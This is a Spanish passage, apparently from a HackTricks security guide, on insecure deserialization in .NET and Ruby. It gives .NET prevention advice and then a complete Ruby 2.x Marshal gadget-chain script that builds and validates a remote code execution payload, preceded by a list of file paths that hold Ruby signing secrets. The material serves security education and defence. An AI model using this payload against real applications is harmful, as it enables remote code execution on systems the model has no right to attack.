Por lo tanto, el parámetro --test nos permite entender qué fragmentos de código son vulnerables al exploit de deserialización que puede crear ysoserial.net.

ViewState

Echa un vistazo a esta publicación sobre cómo intentar explotar el parámetro __ViewState de .Net para ejecutar código arbitrario. Si ya conoces los secretos utilizados por la máquina víctima, lee esta publicación para saber cómo ejecutar código.

Prevención

No permitas que el flujo de datos defina el tipo de objeto al que se deserializará el flujo. Puedes prevenir esto utilizando, por ejemplo, DataContractSerializer o XmlSerializer si es posible.

Donde se esté utilizando JSON.Net, asegúrate de que TypeNameHandling solo esté configurado en None.

TypeNameHandling = TypeNameHandling.None

Si se va a utilizar JavaScriptSerializer, no lo use con un JavaScriptTypeResolver.

Si es necesario deserializar flujos de datos que definen su propio tipo, entonces restrinja los tipos que se permiten deserializar. Hay que tener en cuenta que esto sigue siendo arriesgado ya que muchos tipos nativos de .Net son potencialmente peligrosos en sí mismos. Por ejemplo:

System.IO.FileInfo

Los objetos FileInfo que hacen referencia a archivos en el servidor pueden cambiar las propiedades de esos archivos, por ejemplo, a solo lectura, creando un posible ataque de denegación de servicio, cuando se deserializan.

Incluso si ha limitado los tipos que pueden ser deserializados, recuerde que algunos tipos tienen propiedades que son riesgosas. System.ComponentModel.DataAnnotations.ValidationException, por ejemplo, tiene una propiedad Value de tipo Object. Si este tipo es el tipo permitido para la deserialización, entonces un atacante puede establecer la propiedad Value en cualquier tipo de objeto que elija.

Los atacantes deben ser impedidos de dirigir el tipo que se instanciará. Si esto es posible, incluso DataContractSerializer o XmlSerializer pueden ser subvertidos, por ejemplo.

// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();  

var serializer = new DataContractJsonSerializer(Type.GetType(typename));

var obj = serializer.ReadObject(ms);

La ejecución puede ocurrir dentro de ciertos tipos de .Net durante la deserialización. Crear un control como el que se muestra a continuación es ineficaz.

var suspectObject = myBinaryFormatter.Deserialize(untrustedData);

//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
    //generate warnings and dispose of suspectObject
}

Para BinaryFormatter y JSON.Net es posible crear una forma más segura de control de lista blanca utilizando un SerializationBinder personalizado.

Trate de mantenerse actualizado sobre los gadgets de deserialización inseguros conocidos de .Net y preste especial atención donde dichos tipos pueden ser creados por sus procesos de deserialización. Un deserializador solo puede instanciar tipos que conoce.

Trate de mantener cualquier código que pueda crear gadgets potenciales separado de cualquier código que tenga conectividad a Internet. Como ejemplo, System.Windows.Data.ObjectDataProvider utilizado en aplicaciones WPF es un gadget conocido que permite la invocación arbitraria de métodos. Sería arriesgado tener esta referencia a esta biblioteca en un proyecto de servicio REST que deserializa datos no confiables.

Referencias

Ruby

Ruby tiene dos métodos para implementar la serialización dentro de la biblioteca marshal: el primer método es dump que convierte el objeto en flujos de bytes (serializar). Y el segundo método es load para convertir el flujo de bytes en objeto nuevamente (deserializar).
Ruby utiliza HMAC para firmar el objeto serializado y guarda la clave en uno de los siguientes archivos:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Cadena de gadgets de deserialización genérica de Ruby 2.X a RCE (más información en https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

class Gem::StubSpecification
  def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Otra cadena de RCE para explotar Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥